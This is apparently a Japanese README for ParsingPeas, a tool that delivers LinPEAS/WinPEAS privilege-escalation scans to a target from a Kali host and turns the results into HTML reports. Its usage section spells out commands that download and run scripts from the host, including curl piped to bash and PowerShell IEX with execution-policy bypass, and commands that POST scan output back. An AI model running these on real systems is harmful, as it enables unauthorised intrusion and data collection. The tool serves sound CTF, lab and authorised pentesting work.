
PEAS出力用HTMLパーサー(追加機能付き)
PEASSの自動収集 + CTFやラボの権限昇格作業向けのクリーンでポータブルなHTMLレポート。
ターゲット上で1つのコマンドを実行するだけで、ParsingPeasがKaliホストからLinPEAS/WinPEASを取得し、スキャンを実行し、出力を返送し、読み取り、検索、トリアージ、保存可能な単一の自己完結型HTMLレポートに変換します。手動のファイル転送も、ターゲット上のインターネット接続も不要です。
レポート概要 — LinPEASのカテゴリごとにセクションをグループ化し、発見ドットと発見バーを表示:

発見項目のみ — ワンクリックでレポートとサイドバーをフィルタリングし、Critical/Highのヒットがあるセクションのみ表示:

全ターミナル出力 — 完全な色付きスキャン結果を忠実に再現。Ctrl-Fで検索可能:

生のPEASS出力は、スクロールするターミナルテキストの壁であり、シェルが終了すると消えてしまいます。ParsingPeasは:
scp、自分でLinPEASをホスティング、出力をKaliにコピペする必要がありません。.htmlファイルで、ボックスからコピーしてアーカイブしたり、ダブルクリックでオフラインで開いたりできます。これはプレゼンテーション+ロジスティクスであり、エクスプロイトエンジンではありません。PEASS独自の配色と発見結果を忠実に保持し、それらを再解釈することはありません。
file://経由で開けます。bash)とWinPEAS(PowerShell)に対応。git clone https://github.com/YuvalMil/ParsingPeas.git
cd ParsingPeas
./setup.sh # LinPEAS + WinPEAS を scripts/ にダウンロード
pip3 install -r requirements.txt
python3 receiver.py # http://0.0.0.0:8005 で起動
receiver.pyは起動したままにしておきます。ターゲットがアクセスできるIPを確認します:
tun0アドレス — ip -4 addr show tun0Linux/Unix(curlを使用、フォールバックとしてwget):
curl -sSL http://YOUR_KALI_IP:8005/get-script | bash
Windows(PowerShell / リバースシェル):
powershell -ExecutionPolicy Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_KALI_IP:8005/get-script.ps1')"
ターゲットOSに合わせてワンライナーを選択 — LinuxにはLinPEAS、WindowsにはWinPEASを提供します。
レポートはKaliホストの./reports/に生成されます。次のいずれかでアクセス:
http://YOUR_KALI_IP:8005 でインデックスを参照し、レポートをクリックする、またはxdg-open ./reports/report_<ホスト>_<タイムスタンプ>.html
この単一の.htmlファイルはどこにでもコピーでき、単独で動作します。
ターゲット → Kaliからラッパーをダウンロード → PEASSを実行 → 出力をPOST → Kaliがパース → 自己完結型HTMLレポート
ターゲットはインターネット接続不要 — ラッパーとPEASSバイナリはすべてホストから提供されます。
ワンライナーが失敗した場合は手動で行います。
Linux:
# ターゲット上
curl http://KALI_IP:8005/get-linpeas -o /tmp/lp.sh
chmod +x /tmp/lp.sh
/tmp/lp.sh > /tmp/out.txt
# 送信
curl -X POST -H "X-Hostname: $(hostname)" -H "X-Scan-Type: linpeas" \
--data-binary @/tmp/out.txt http://KALI_IP:8005/upload
Windows(PowerShell):
Invoke-WebRequest -Uri http://KALI_IP:8005/get-winpeas -OutFile $env:TEMP\wp.exe
& "$env:TEMP\wp.exe" > $env:TEMP\out.txt
Invoke-WebRequest -Uri http://KALI_IP:8005/upload -Method POST `
-Headers @{"X-Hostname"=$env:COMPUTERNAME; "X-Scan-Type"="winpeas"} `
-InFile $env:TEMP\out.txt
既存のPEASSダンプをパースする:
python3 parser.py /path/to/peas_output.txt # ./reports/ にHTMLレポートを書き出し
receiver.pyの先頭を編集:
curl http://KALI_IP:8005/health で接続性を確認。sudo ufw allow 8005/tcp でファイアウォールを開放。/get-linpeas が404? ./setup.sh を実行してPEASSバイナリを取得。⚠️ 許可されたペネトレーションテスト、CTF、ラボでのみ使用してください。
PEASS-ng(@carlospolop)をベースに構築されています。ParsingPeasはその出力を収集し表示するだけです。
MITライセンス · コントリビューション歓迎
| 設定項目 | デフォルト | 備考 |
|---|
| ポート | 8005 | app.run(... port=...)行を変更 |
OUTPUT_DIR | ./received_outputs | 生のアップロードスキャン |
REPORTS_DIR | ./reports | 生成されたHTMLレポート |
SCRIPTS_DIR | ./scripts | LinPEAS/WinPEASバイナリ |
MAX_UPLOAD_SIZE | 10 MB | 強制 — これを超えるとHTTP 413 |